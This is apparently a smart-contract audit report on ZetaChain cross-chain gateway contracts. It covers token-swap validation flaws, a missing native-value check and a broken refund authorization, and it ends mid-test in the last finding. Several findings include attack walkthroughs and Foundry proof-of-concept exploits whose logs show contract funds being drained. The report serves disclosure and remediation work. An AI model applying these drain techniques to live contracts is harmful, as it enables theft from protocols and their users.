Source: #158
0xEkko, 0xapple, Ob, SafetyBytes, X0sauce, elolpuer, n08ita, patitonar, pyk, roadToWatsonN101, seeques, wellbyt3
Missing validation between swap output token and target withdrawal token will cause a loss of accumulated token balances for the protocol and users as an attacker will craft malicious cross-chain transactions with mismatched swap parameters to drain tokens that have accumulated in the contract from legitimate operations.
In GatewayCrossChain.sol the onCall function performs a token swap using _doMixSwap() with params.toToken as the output, but then withdraws using decoded.targetZRC20 without validating that these tokens match. This allows an attacker to swap to one token type but withdraw a different accumulated token type.
// Swap occurs with params.toToken as output
uint256 outputAmount = _doMixSwap(decoded.swapDataZ, amount, params);In _handleBitcoinWithdraw withdraws the decoded.targetZRC20
// _handleBitcoinWithdraw:
withdraw(
externalId,
decoded.receiver,
decoded.targetZRC20, // Uses targetZRC20 (no validation against swap output)
outputAmount - gasFee
);In _handleEvmOrSolanaWithdraw withdraws the decoded.targetZRC20
// _handleEvmOrSolanaWithdraw :
withdrawAndCall(
externalId,
decoded.contractAddress,
decoded.targetZRC20, // Uses targetZRC20 (no validation against swap output)
outputAmount - gasFee,
receiver,
encoded
);
...
withdrawAndCall(
externalId,
decoded.contractAddress,
decoded.targetZRC20, // Uses targetZRC20 (no validation against swap output)
amountsOutTarget,
receiver,
encoded
);none
none
- Attacker monitors the GatewayCrossChain contract balance and identifies accumulated high-value tokens (e.g., 1000 ETH worth ~$2,500,000 at $2500/ETH)
- Attacker crafts a malicious cross-chain transaction with:
swapDataZconfigured to swap from input token to a different output token (e.g., USDC)targetZRC20set to the accumulated high-value token they want to drain (e.g., ETH)
- Attacker calls
depositAndCallon source chain with the crafted payload - ZetaChain processes the transaction:
- Contract receives input tokens and swaps them to USDC via
_doMixSwap - Contract attempts withdrawal using
targetZRC20(ETH) - Since contract has accumulated ETH balance, the approval and transfer succeed
- Contract receives input tokens and swaps them to USDC via
- Attacker receives ETH from accumulated balance while only providing cheaper output tokens
- Attacker repeats the process to drain all accumulated balances of various token types
The vulnerability enables complete drainage of all accumulated token balances in the contract.
Copy and paste this on GatewayCrossChain.t.sol and run forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public */ --match-test test_POC_SwapTargetMismatch_CrossChainTokenDrain -vv
function test_POC_SwapTargetMismatch_CrossChainTokenDrain() public {
// Set realistic market prices for clear economic impact
console.log("Market prices: ETH=$2500, BTC=$50000, USDC=$1");
dodoRouteProxyZ.setPrice(address(token1Z), address(token2Z), 2500e18); // 1 ETH = 2500 USDC
dodoRouteProxyZ.setPrice(address(btcZ), address(token2Z), 50000e18); // 1 BTC = 50000 USDC
dodoRouteProxyZ.setPrice(address(btcZ), address(token1Z), 20e18); // 1 BTC = 20 ETH
console.log("");
// Setup: Contract accumulated valuable ETH.ZRC20 from previous operations
uint256 accumulatedETH = 1000 ether; // 1000 ETH.ZRC20 worth $2.5M
token1Z.mint(address(gatewayCrossChain), accumulatedETH);
console.log("Contract accumulated ETH.ZRC20:", accumulatedETH / 1e18);
console.log("Accumulated value: $", (accumulatedETH * 2500) / 1e18);
console.log("");
// Give attacker some BTC to execute the attack
uint256 attackerStartingBTC = 1 ether; // 1 BTC (enough for attack)
btc.mint(user1, attackerStartingBTC);
// Record initial balances
uint256 attackerInitialBTC = btc.balanceOf(user1);
uint256 attackerInitialETH_B = token1B.balanceOf(user2); // user2 is attacker's receiving address
console.log("Attacker initial BTC balance:", attackerInitialBTC / 1e18);
console.log("Attacker initial ETH_B balance:", attackerInitialETH_B / 1e18);
console.log("");
// Attack setup: Craft malicious cross-chain transaction
address targetContract = address(gatewayCrossChain);
uint256 attackAmount = 0.02 ether; // 0.02 BTC worth $1,000
address asset = address(btc); // BTC on source chain
uint32 dstChainId = 2; // Target Chain B
// VULNERABILITY: Mismatch between swap output and withdrawal target
address targetZRC20 = address(token1Z); // TARGET: ETH.ZRC20 (accumulated $2.5M!)
bytes memory sender = btcAddress; // BTC address format
bytes memory receiver = abi.encodePacked(user2);
// Swap data: BTC→USDC (legitimate swap)
bytes memory swapDataZ = encodeCompressedMixSwapParams(
address(btcZ), // FROM: BTC.ZRC20 (attacker's cheap input)
address(token2Z), // TO: USDC.ZRC20 (swap output - NOT the target!)
attackAmount, 0, 0,
new address[](1), new address[](1), new address[](1),
0, new bytes[](1), abi.encode(address(0), 0), block.timestamp + 600
);
bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
bytes memory fromTokenB = abi.encodePacked(address(token1B)); // ETH_B
bytes memory toTokenB = abi.encodePacked(address(token1B)); // ETH_B (no swap on dest)
bytes memory swapDataB = "";
bytes memory accounts = "";
// Craft malicious payload with parameter mismatch
bytes memory payload = encodeMessage(
dstChainId,
targetZRC20, // ETH.ZRC20 (expensive target - MISMATCH!)
sender, receiver, swapDataZ, contractAddress,
abi.encodePacked(fromTokenB, toTokenB, swapDataB), accounts
);
console.log("ATTACK EXECUTION:");
console.log("- Attacker provides: 0.02 BTC ($1,000)");
console.log("- Swap configured: BTC->USDC");
console.log("- Target withdrawal: ETH ($2,500,000 accumulated!)");
console.log("- Attacker receives stolen ETH on Chain B");
console.log("- VULNERABILITY: Parameter mismatch enables token drain!");
console.log("");
// Ensure ZetaChain has BTC.ZRC20 tokens for the cross-chain process
// (In real scenario, these would be minted when BTC is locked on source chain)
btcZ.mint(address(gatewayZEVM), attackAmount);
// Execute the complete end-to-end attack from Chain A
vm.startPrank(user1);
btc.approve(address(gatewaySendA), attackAmount);
gatewaySendA.depositAndCall(
targetContract,
attackAmount,
asset,
dstChainId,
payload
);
vm.stopPrank();
// Calculate complete attack results
uint256 attackerFinalBTC = btc.balanceOf(user1);
uint256 attackerFinalETH_B = token1B.balanceOf(user2);
uint256 contractFinalETH = token1Z.balanceOf(address(gatewayCrossChain));
uint256 attackerSpent = attackerInitialBTC - attackerFinalBTC;
uint256 attackerReceived = attackerFinalETH_B - attackerInitialETH_B;
uint256 ethDrained = accumulatedETH - contractFinalETH;
// Economic impact analysis
uint256 attackerInvestmentUSD = attackerSpent * 50000; // BTC * $50k
uint256 attackerReceivedUSD = attackerReceived * 2500; // ETH * $2.5k
uint256 protocolLossUSD = ethDrained * 2500; // ETH lost * $2.5k
uint256 attackerProfitUSD = attackerReceivedUSD - attackerInvestmentUSD;
console.log("=== ATTACK RESULTS ===");
console.log("Attacker spent BTC: 0.02"); // attackerSpent / 1e18 = 0.02 ether / 1e18 = 0.02
console.log("Attacker investment: $", attackerInvestmentUSD / 1e18);
console.log("Attacker received ETH_B:", attackerReceived / 1e18);
console.log("Attacker received value: $", attackerReceivedUSD / 1e18);
console.log("Protocol lost ETH.ZRC20:", ethDrained / 1e18);
console.log("Protocol lost value: $", protocolLossUSD / 1e18);
console.log("Attacker profit: $", attackerProfitUSD / 1e18);
console.log("");
uint256 roiPercent = (attackerProfitUSD * 100) / attackerInvestmentUSD;
uint256 drainagePercent = (ethDrained * 100) / accumulatedETH;
console.log("IMPACT:");
console.log("- Attack ROI:", roiPercent, "%");
console.log("- Fund drainage:", drainagePercent, "%");
// Verify complete successful exploitation
assertEq(attackerSpent, attackAmount, "Should spend attack amount");
assertGt(attackerReceived, 0, "Attacker should receive drained tokens on Chain B");
assertGt(ethDrained, 0, "Should drain accumulated ETH.ZRC20");
assertGt(attackerProfitUSD, attackerInvestmentUSD, "Should be massively profitable");
assertGt(roiPercent, 100000, "Should have massive ROI (>100,000%)");
assertGt(drainagePercent, 95, "Should drain >95% of accumulated funds");
}Logs:
Market prices: ETH=$2500, BTC=$50000, USDC=$1
Contract accumulated ETH.ZRC20: 1000
Accumulated value: $ 2500000
Attacker initial BTC balance: 1
Attacker initial ETH_B balance: 0
ATTACK EXECUTION:
- Attacker provides: 0.02 BTC ($1,000)
- Swap configured: BTC->USDC
- Target withdrawal: ETH ($2,500,000 accumulated!)
- Attacker receives stolen ETH on Chain B
- VULNERABILITY: Parameter mismatch enables token drain!
574
=== ATTACK RESULTS ===
Attacker spent BTC: 0.02
Attacker investment: $ 1000
Attacker received ETH_B: 999
Attacker received value: $ 2497500
Protocol lost ETH.ZRC20: 999
Protocol lost value: $ 2497500
Attacker profit: $ 2496500
IMPACT:
- Attack ROI: 249650 %
- Fund drainage: 99 %Add validation in the onCall function to ensure swap output token matches the target withdrawal token
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#33
Source: #219
0xEkko, 10ap17, Pianist, SafetyBytes, X0sauce, farismaulana, radevweb3, theboiledcorn
Missing msg.value validation for native token withdrawals will cause a complete loss of accumulated ZRC20 tokens for the protocol as attackers will abuse the native token placeholder to bypass transferFrom validation while targeting real ZRC20 contracts through malicious message crafting.
In GatewayTransferNative.sol:534-537 there is missing validation of msg.value against the claimed amount parameter when zrc20 equals _ETH_ADDRESS_ , allowing users to claim arbitrary native token amounts without actually sending them.
function withdrawToNativeChain(
address zrc20,
uint256 amount,
bytes calldata message
) external payable {
if(zrc20 != _ETH_ADDRESS_) {
require(IZRC20(zrc20).transferFrom(msg.sender, address(this), amount), "INSUFFICIENT ALLOWANCE: TRANSFER FROM FAILED");
}
// ← Missing: require(msg.value >= amount, "INSUFFICIENT NATIVE TOKEN");
}None
None
- Attacker identifies accumulated ZRC20 tokens in the GatewayTransferNative contract (e.g., 1000 USDC.ZRC20)
- Attacker crafts a malicious message where decoded.targetZRC20 points to the real USDC.ZRC20 contract address
- Attacker calls
withdrawToNativeChain{value: 0}(_ETH_ADDRESS_, 1000e6, maliciousMessage) - Function bypasses transferFrom validation due to zrc20 == ETH_ADDRESS condition
- Function processes withdrawal using the claimed amount (1000 USDC) from contract's accumulated balance
- Function calls withdrawGasFeeWithGasLimit on real USDC.ZRC20 contract (avoids revert)
- Cross-chain withdrawal executes successfully, sending 1000 native USDC to attacker's destination address
- Contract's accumulated USDC.ZRC20 tokens are burned/depleted while attacker receives native USDC
The protocol suffers a complete loss of all accumulated ZRC20 tokens that can be targeted through message crafting. The attacker gains the full value of stolen tokens with only gas fees as cost, achieving near-infinite profit margins on successful attacks.
Add this test to GatewayTransferNative.t.sol and run:
forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public --match-test test_withdraw_native_Vulnerability -vv function test_withdraw_native_Vulnerability() public {
uint256 stolenAmount = 100 ether; // Amount to steal from contract
uint256 actualZETASent = 0; // User sends 0 ZETA
uint32 dstChainId = 2;
// ATTACK: Use _ETH_ADDRESS_ to bypass transferFrom, but target real ZRC20 in message
address inputToken = _ETH_ADDRESS_; // ← Bypass transferFrom validation
address targetZRC20 = address(token1Z); // ← Real ZRC20 in decoded message
bytes memory sender = abi.encodePacked(user1);
bytes memory receiver = abi.encodePacked(user2);
bytes memory swapDataZ = "";
bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
bytes memory fromTokenB = abi.encodePacked(address(token1B));
bytes memory toTokenB = abi.encodePacked(address(token1B));
bytes memory swapDataB = "";
bytes memory accounts = "";
// MALICIOUS MESSAGE: Points to real ZRC20 token to avoid revert
bytes memory maliciousMessage = encodeMessage(
dstChainId,
targetZRC20, // ← Real token1Z address (not _ETH_ADDRESS_)
sender,
receiver,
swapDataZ,
contractAddress,
abi.encodePacked(
fromTokenB,
toTokenB,
swapDataB
),
accounts
);
// Setup: Contract has accumulated token1Z from previous operations
token1Z.mint(address(gatewayTransferNative), stolenAmount);
// Record initial balances
uint256 user1InitialZETA = user1.balance;
uint256 user2InitialTokens = token1B.balanceOf(user2);
uint256 contractInitialTokens = token1Z.balanceOf(address(gatewayTransferNative));
console.log("BEFORE ATTACK:");
console.log("User1 ZETA balance:", user1InitialZETA / 1e18);
console.log("Contract token1Z balance:", contractInitialTokens / 1e18);
console.log("User2 token1B balance:", user2InitialTokens / 1e18);
console.log("");
vm.startPrank(user1);
// ATTACK: Use native token placeholder to bypass validation
gatewayTransferNative.withdrawToNativeChain{value: actualZETASent}(
inputToken, // _ETH_ADDRESS_ bypasses transferFrom
stolenAmount, // Claims 100 token1Z
maliciousMessage // Decodes to real token1Z to avoid revert
);
vm.stopPrank();
// Verify successful attack
uint256 user1FinalZETA = user1.balance;
uint256 user2FinalTokens = token1B.balanceOf(user2);
uint256 contractFinalTokens = token1Z.balanceOf(address(gatewayTransferNative));
console.log("AFTER ATTACK:");
console.log("User1 ZETA balance:", user1FinalZETA / 1e18);
console.log("Contract token1Z balance:", contractFinalTokens / 1e18);
console.log("User2 token1B balance:", user2FinalTokens / 1e18);
console.log("");
// Attack success verification
assertEq(user1FinalZETA, user1InitialZETA - actualZETASent, "User should only lose sent ZETA");
assertGt(user2FinalTokens, user2InitialTokens, "User2 should receive stolen tokens");
assertLt(contractFinalTokens, contractInitialTokens, "Contract should lose tokens");
uint256 tokensStolen = contractInitialTokens - contractFinalTokens;
uint256 tokensReceived = user2FinalTokens - user2InitialTokens;
console.log("Tokens stolen from contract:", tokensStolen / 1e18);
console.log("Tokens received by User2:", tokensReceived / 1e18);
// Should have stolen significant amount
assertGt(tokensStolen, 90 ether, "Should steal most of the claimed amount");
}Logs:
BEFORE ATTACK:
User1 ZETA balance: 1000
Contract token1Z balance: 100
User2 token1B balance: 0
AFTER ATTACK:
User1 ZETA balance: 1000
Contract token1Z balance: 1
User2 token1B balance: 99
Tokens stolen from contract: 99
Tokens received by User2: 99Add proper validation for native token amounts in the withdrawToNativeChain function
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#32
Source: #416
0xc0ffEE, AnomX, CoheeYang, Cybrid, EgisSecurity, X0sauce, edger, hunt1, pyk, silver_eth, wellbyt3
Whenever withdrawToNativeChain oronCall is called on the GatewayTransferNative . The _doMixSwap() is trigger and the function returns the original token amount without enforcing a swap when swapData is empty. If decoded.targetZRC20 != zrc20, this leads to unexpected token transfers, allowing Attacker to bypass swaps and drain higher-value assets held by the contract.
if (swapData.length == 0) {
return amount;
}This check skips the swap entirely when swapData is empty, and there is no check whether the input zrc20 == decoded.targetZRC20
- The caller uses
withdrawToNativeChain()oronCall() - Sets
swapData = ""(empty) - Sets
decoded.targetZRC20to a different token thanzrc20
decoded.targetZRC20represents a significantly higher-value token compare to the depositedzrc20(e.g., ETH.ARB ~$2300 vs AVAX ~$20)- The contract holds those tokens, often due to refund flows from reverted cross-chain messages
- Attacker calls
withdrawToNativeChain()with:fromToken = AVAX-ZRCdecoded.targetZRC20 = ETH.ARB-ZRCswapData = ""
withdrawToNativeChain()functions decodes the payload and calls_doMixSwap()_doMixSwap()skips the swap and returns the full AVAX amount- User receives ETH.ARB tokens in 1:1 amount (in wei), leading to a huge gain
- Protocol loses high-value tokens without performing a valid swap
This can lead to major loss of funds from the protocol’s ZRC20 token balances, especially those intended for refunds. The attacker receives assets at favorable USD rates, causing imbalance.
note I am using a token difference here to show the impact because the provided test suite has some issue with price conversion
place this in test/GatewayTransferNative.t.sol and run
forge test --mt test_IamOTI_badSwapdataofDoMIxSwap --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public
function test_IamOTI_badSwapdataofDoMIxSwap() public {
// Simulate production state: preload contract with ZRC20 balances
token1Z.mint(address(gatewayTransferNative), 2000 ether); // token1Z = AVAX-ZRC (~$20)
token2Z.mint(address(gatewayTransferNative), 2000 ether); // token2Z = ETH.ARB-ZRC (~$2300)
uint256 amount = 100 ether;
uint32 dstChainId = 421614; // Arbitrum Sepolia testnet chain ID
// Construct the cross-chain message with a mismatched targetZRC20 and empty swapData
address targetZRC20 = address(token2Z); // target is ETH.ARB-ZRC
bytes memory sender = abi.encodePacked(user1);
bytes memory receiver = abi.encodePacked(user2);
bytes memory swapDataZ = ""; // ← this triggers the early return in _doMixSwap
bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
bytes memory fromTokenB = abi.encodePacked(address(token2B));
bytes memory toTokenB = abi.encodePacked(address(token2B));
bytes memory swapDataB = "";
bytes memory accounts = "";
// Encode the malicious message payload
bytes memory message = encodeMessage(
dstChainId,
targetZRC20,
sender,
receiver,
swapDataZ,
contractAddress,
abi.encodePacked(fromTokenB, toTokenB, swapDataB),
accounts
);
// Execute the attack simulation
vm.startPrank(user1);
token1Z.approve(address(gatewayTransferNative), amount);
gatewayTransferNative.withdrawToNativeChain(address(token1Z), amount, message);
vm.stopPrank();
// Validate balances
assertEq(token1Z.balanceOf(user1), initialBalance - amount);
// it is almost 1:1 token2B.balanceOf(user2) is around 98.9e18 the different is the protocol fee and the gas fee
assertApproxEqAbs(token2B.balanceOf(user2), amount, 1.2e18);
}the same issue exist in GatewayCrossChain
Add a strict validation to enforce swaps when the tokens differ:
function _doMixSwap(address zrc20,bytes memory swapData, uint256 amount, MixSwapParams memory params)
internal
returns (uint256 outputAmount)
{
if (swapData.length == 0)
require(params.toToken == zrc20 );
return amount;
}
___rest of the code
}sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#33
Issue H-4: GatewayTransferNative.withdrawToNativeChain Allows Swapping Arbitrary Contract ZRC20s by Misusing Deposited Token Amount
Source: #681
0xdice91, 10ap17, AnomX, AshishLac, Cybrid, EgisSecurity, Falendar, Goran, HeckerTrieuTien, OrangeSantra, Phaethon, X0sauce, Yaneca_b, ZeroTrust, bladeee, d4y1ight, hunt1, iamandreiski, ifeco445, khaye26, patitonar, phrax, pyk, radevweb3, roshark, rsam_eth, seeques, shushu, silver_eth, the_haritz, theboiledcorn
The GatewayTransferNative.withdrawToNativeChain function allows users to specify DODO swap parameters via the message argument. It fails to validate that the input token for this swap (params.fromToken derived from message) matches the zrc20 token actually deposited by the user for the transaction. Instead, the contract uses the deposited amount of zrc20 to approve its own balance of params.fromToken for the swap. An attacker can deposit a low-value zrc20 and provide a message instructing the contract to swap a different, valuable token it holds, leading to fund drain. The swapped proceeds are then processed for withdrawal to an external chain or transfer on ZetaChain as specified by other parts of the message.
The bug lies in GatewayTransferNative when withdrawToNativeChain calls _doMixSwap.
-
User Input: User calls
withdrawToNativeChain.zrc20andamountare the primary deposit by the user directly to this function.messageis decoded usingSwapDataHelperLib.decodeMessageintoDecodedMessage memory decoded. The DODO swap parametersMixSwapParams memory paramsare derived fromdecoded.swapDataZ. Crucially,params.fromTokenandparams.fromTokenAmountare sourced from this user-controlleddecoded.swapDataZ.
function withdrawToNativeChain(address zrc20, uint256 amount, bytes calldata message) external payable { // ... user token handling (transferFrom or msg.value) ... globalNonce++; bytes32 externalId = _calcExternalId(msg.sender); (DecodedMessage memory decoded, MixSwapParams memory params) = SwapDataHelperLib.decodeMessage(message); // ... uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount); uint256 currentAmount = amount - platformFeesForTx; // This is amountAfterFee // ... uint256 outputAmount = _doMixSwap(decoded.swapDataZ, currentAmount, params); // ... proceeds to withdrawal logic ... }
-
Fee Handling: Platform fees are taken from the deposited
amountofzrc20. Let the remainder becurrentAmount(passed asamountto_doMixSwap). -
Missing Critical Check: Before calling
_doMixSwap, there is no check to ensure thatparams.fromTokenis the same aszrc20. -
Logic in
_doMixSwapCall:_doMixSwapis called withcurrentAmountandparams.function _doMixSwap( bytes memory swapData, // This is decoded.swapDataZ uint256 amount, // This is currentAmount MixSwapParams memory params ) internal returns (uint256 outputAmount) { if (swapData.length == 0) { return amount; } IZRC20(params.fromToken).approve(DODOApprove, amount); // 'amount' zrc20 return IDODORouteProxy(DODORouteProxy).mixSwap{ value: msg.value }( params.fromToken, params.toToken, params.fromTokenAmount, // Uses amount from payload for actual swap quantity // ... other params ); }
If
params.fromTokenis different from thezrc20deposited by the user,GatewayTransferNativeapproves its own balance ofparams.fromTokenforDODOApproveto use. The approval amount isamount. The DODO swap then attempts to useparams.fromTokenAmountofparams.fromToken. Ifparams.fromTokenAmountis less than or equal toamount, the swap will useGatewayTransferNative's funds ofparams.fromToken.
- The
GatewayTransferNativecontract must have a non-zero balance of a ZRC20 token that the attacker intends to use asparams.fromTokenand drain. This condition is highly likely to be met for various tokens over time, as the contract's refund mechanism can cause it to accumulate different ZRC20s. DODORouteProxyandDODOApproveaddresses must be correctly set inGatewayTransferNative.
- The DODO protocol on ZetaChain must have a liquidity pool for the swap pair defined in
params.fromToken/params.toToken.
- Pre-condition:
GatewayTransferNativecontract holds1 ETH.ETHZERC20. Attacker has1 DAI.ETHZRC20 and has approvedGatewayTransferNativeto spend them. - Attacker's Action: Attacker calls
GatewayTransferNative.withdrawToNativeChain:zrc20:address(DAI.ETH)amount:1e18(1 DAI.ETH)message: Crafted by attacker. When decoded bySwapDataHelperLib.decodeMessage:decoded.dstChainId: e.g. Basedecoded.targetZRC20:address(DAI.ETH).decoded.receiver: Attacker's address on the destination chain.decoded.swapDataZ(this generatesparamsfor_doMixSwap):params.fromToken:address(ETH.ETH).params.toToken:address(DAI.ETH).params.fromTokenAmount:1e18.params.minReturnAmount:0.- Other
MixSwapParamsfields set as needed.
decoded.swapDataB: Can be empty or specify further swaps on the destination chain.
- Execution within
withdrawToNativeChain:- User's
1 DAI.ETHare transferred toGatewayTransferNative. - Platform fees are deducted from
1 DAI.ETH. Assume zero fees andamountAfterFeebecomes1e18 DAI.ETH. _doMixSwap(decoded.swapDataZ, amountAfterFee, params)is called.- Inside
_doMixSwap:IZRC20(ETH.ETH).approve(DODOApprove, 1e18);executes.GatewayTransferNativeapproves its ownETH.ETHbalance for up to1e18wei. IDODORouteProxy.mixSwapis called to swap1e18(params.fromTokenAmount) ofETH.ETHfromGatewayTransferNative's balance intoDAI.ETH. Assuming 1 ETH = 2500 DAI, this yields approximately2500 DAI.ETH. Let this beoutputAmount.
- Inside
- Back in
withdrawToNativeChain,outputAmount(2500 DAI.ETH) is now processed for withdrawal. Sinceparams.toToken (DAI.ETH)matchesdecoded.targetZRC20 (DAI.ETH), the withdrawal logic forDAI.ETHproceeds using thisoutputAmount.
- User's
- Result:
GatewayTransferNativeloses1 ETH.ETH(worth $2500). Attacker deposited1 DAI.ETH(worth $1). The attacker profits the difference, ultimately receiving the swapped value on their specified destination chain/address.
Direct loss of ZRC20 token holdings from the GatewayTransferNative contract. An attacker can target any ZRC20 held by the contract by depositing a sufficient amount of a less valuable token via withdrawToNativeChain and crafting a malicious message payload.
Add this test to test/GatewayTransferNative.t.sol:
/// @dev This bug allows anyone to depost less valuable token to get more valuable token
/// @custom:command forge test --match-contract GatewayTransferNativeTest --match-test test_WithdrawValuableTokens --fork-url https://zetachain-mainnet.g.allthatnode.com/archive/evm
function test_WithdrawValuableTokens() public {
address attacker = makeAddr("attacker");
// Assets
ERC20Mock dai = new ERC20Mock("DAI", "DAI", 18);
ZRC20Mock zrc20DAI = new ZRC20Mock("ZetaChain DAI Ethereum", "DAI.ETH", 18);
ZRC20Mock zrc20ETH = new ZRC20Mock("ZetaChain ETH Ethereum", "ETH.ETH", 18);
uint256 amount = 1e18;
// Balances
zrc20DAI.mint(attacker, amount); // 1 DAI.ETH
zrc20ETH.mint(address(gatewayTransferNative), amount); // 1 ETH.ETH e.g. for refund failed cross-chain tx
zrc20DAI.mint(address(dodoRouteProxyZ), 2500 * 1e18); // Swaps Liquidity
dai.mint(address(gatewayB), 2500 * 1e18); // Escrowed Liquidity
// Gateways
gatewayB.setZRC20(address(dai), address(zrc20DAI));
zrc20DAI.setGasFee(0); // For simplicity
zrc20DAI.setGasZRC20(address(zrc20DAI));
// 1 ETH = 2500 DAI, no slippage for simplicity
dodoRouteProxyZ.setPrice(address(zrc20ETH), address(zrc20DAI), 2500 * 1e18);
// Approvals
vm.prank(attacker);
zrc20DAI.approve(address(gatewayTransferNative), amount);
uint32 dstChainId = 2;
address targetZRC20 = address(zrc20DAI);
bytes memory sender = abi.encodePacked(attacker);
bytes memory receiver = abi.encodePacked(attacker);
bytes memory swapDataZ = encodeCompressedMixSwapParams(
address(zrc20ETH), // !!!!
address(zrc20DAI), // !!!!
amount,
0,
0,
new address[](1),
new address[](1),
new address[](1),
0,
new bytes[](1),
abi.encode(address(0), 0),
block.timestamp + 600
);
bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
bytes memory fromTokenB = abi.encodePacked(address(dai));
bytes memory toTokenB = abi.encodePacked(address(dai));
bytes memory swapDataB = "";
bytes memory accounts = "";
bytes memory message = encodeMessage(
dstChainId,
targetZRC20,
sender,
receiver,
swapDataZ,
contractAddress,
abi.encodePacked(fromTokenB, toTokenB, swapDataB),
accounts
);
vm.prank(attacker);
gatewayTransferNative.withdrawToNativeChain(address(zrc20DAI), amount, message);
// Deposit 1 DAI got 2500 DAI
assertEq(zrc20DAI.balanceOf(attacker), 0);
assertEq(dai.balanceOf(attacker), 2500 * 1e18);
}Run the test:
forge test --match-contract GatewayTransferNativeTest --match-test test_WithdrawValuableTokens --fork-url https://zetachain-mainnet.g.allthatnode.com/archive/evm[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.26
[⠊] Solc 0.8.26 finished in 23.72s
Compiler run successful!
Ran 1 test for test/GatewayTransferNative.t.sol:GatewayTransferNativeTest
[PASS] test_WithdrawValuableTokens() (gas: 1888387)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.84ms (2.11ms CPU time)
Ran 1 test suite in 529.76ms (9.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)In GatewayTransferNative, within the withdrawToNativeChain function, before calling _doMixSwap, add checks to ensure params.fromToken (derived from message via decoded.swapDataZ) matches the zrc20 argument provided by the user, and params.fromTokenAmount is not more than the (post-fee) amount argument.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#33
Source: #873
0xAura, 0xEkko, 0xShoonya, 0xfleeb, 0xiehnnkta, 0xkshama-pana, 0xlucky, 0xzey, Abhan1041, Aenovir, AestheticBhai, AnomX, Bbash, BimBamBuki, Bizarro, ChaosSR, Egbe, EgisSecurity, ElmInNyc99, Etherking, FlandreS, Flashloan44, Goran, Greese, HarryBarz, HeckerTrieuTien, IvanFitro, Joseph_Nwodoh, MRXSNOWDEN, Ocean_Sky, OrangeSantra, PNS, Pianist, SafetyBytes, Smacaud, X0sauce, Yaneca_b, Ziusz, befree3x, benjamin_0923, chaos304, coin2own, dreamcoder, edger, elolpuer, freeking, iamandreiski, jongwon, miracleworker0118, newspacexyz, oxch0w, pyk, radevweb3, rahim7x, redtrama, richa, rsam_eth, shushu, skipper, stonejiajia, tourist, wellbyt3
The claimRefund function in both GatewayTransferNative.sol and GatewayCrossChain.sol contains a critical authorization flaw that allows any user to claim refunds intended for non-EVM chains (such as Bitcoin). This occurs due to improper access control logic that fails to properly validate the caller's authority when the refund is for a non-EVM address.
The vulnerability stems from flawed conditional logic in the claimRefund function:
function claimRefund(bytes32 externalId) external {
RefundInfo storage refundInfo = refundInfos[externalId];
address receiver = msg.sender; // Default to caller
if(refundInfo.walletAddress.length == 20) {
receiver = address(uint160(bytes20(refundInfo.walletAddress)));
}
require(bots[msg.sender] || msg.sender == receiver, "INVALID_CALLER");
// ... transfer logic
}The problem: When walletAddress.length != 20 (non-EVM addresses), receiver remains msg.sender, making the authorization check require(bots[msg.sender] || msg.sender == msg.sender), which simplifies to require(bots[msg.sender] || true) - always passing for any caller.
Attacker monitors EddyCrossChainRefund events for refunds with non-EVM addresses
NA
- Monitoring: Attacker monitors
EddyCrossChainRefundevents for refunds with non-EVM addresses - Identification: Filter for refunds where
walletAddress.length != 20(Bitcoin, Solana, etc.) - Front-running: Submit
claimRefundtransaction with higher gas to execute before legitimate bot - Exploitation: Due to flawed logic, the require statement passes and funds are transferred to attacker
- Theft Complete: Attacker receives tokens intended for legitimate users on non-EVM chains
Complete theft of all non-EVM chain refunds with minimal cost (only gas fees).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IZRC20} from "@zetachain/protocol-contracts/contracts/zevm/interfaces/IZRC20.sol";
import "@zetachain/protocol-contracts/contracts/zevm/interfaces/IGatewayZEVM.sol";
import {UniswapV2Library} from "../contracts/libraries/UniswapV2Library.sol";
import {SwapDataHelperLib} from "../contracts/libraries/SwapDataHelperLib.sol";
import {BaseTest} from "./BaseTest.t.sol";
import {console} from "forge-std/console.sol";
/* forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public */
contract GatewayCrossChainPOCTest is BaseTest {
function test_PoC_ClaimRefundVulnerability() public {
// ### SETUP ###
// Setup: Create a refund for a Bitcoin address (non-EVM, >20 bytes)
bytes32 externalId = keccak256(abi.encodePacked("bitcoin-refund-test"));
uint256 refundAmount = 10000 ether; // 10,000 tokens
address refundToken = address(token1Z); // Valuable token
// Bitcoin address (more than 20 bytes) - this is the legitimate user's address
bytes memory bitcoinAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";
// Attacker address
address attacker = address(0x999);
// Fund the contract with the refund token
token1Z.mint(address(gatewayCrossChain), refundAmount);
// Create a refund scenario using onAbort (simulating a failed Bitcoin transaction)
vm.prank(address(gatewayZEVM));
gatewayCrossChain.onAbort(
AbortContext({
sender: abi.encode(address(this)),
asset: refundToken,
amount: refundAmount,
outgoing: false,
chainID: 8332, // Bitcoin chain ID
revertMessage: bytes.concat(externalId, bitcoinAddress)
})
);
// Verify the refund was created
(bytes32 storedExternalId, address storedToken, uint256 storedAmount, bytes memory storedWalletAddress) =
gatewayCrossChain.refundInfos(externalId);
assertEq(storedExternalId, externalId, "Refund should be created");
assertEq(storedToken, refundToken, "Token should match");
assertEq(storedAmount, refundAmount, "Amount should match");
assertEq(storedWalletAddress, bitcoinAddress, "Bitcoin address should be stored");
// Record initial balances
uint256 contractInitialBalance = token1Z.balanceOf(address(gatewayCrossChain));
uint256 attackerInitialBalance = token1Z.balanceOf(attacker);
console.log("=== BEFORE ATTACK ===");
console.log("Contract balance:", contractInitialBalance);
console.log("Attacker balance:", attackerInitialBalance);
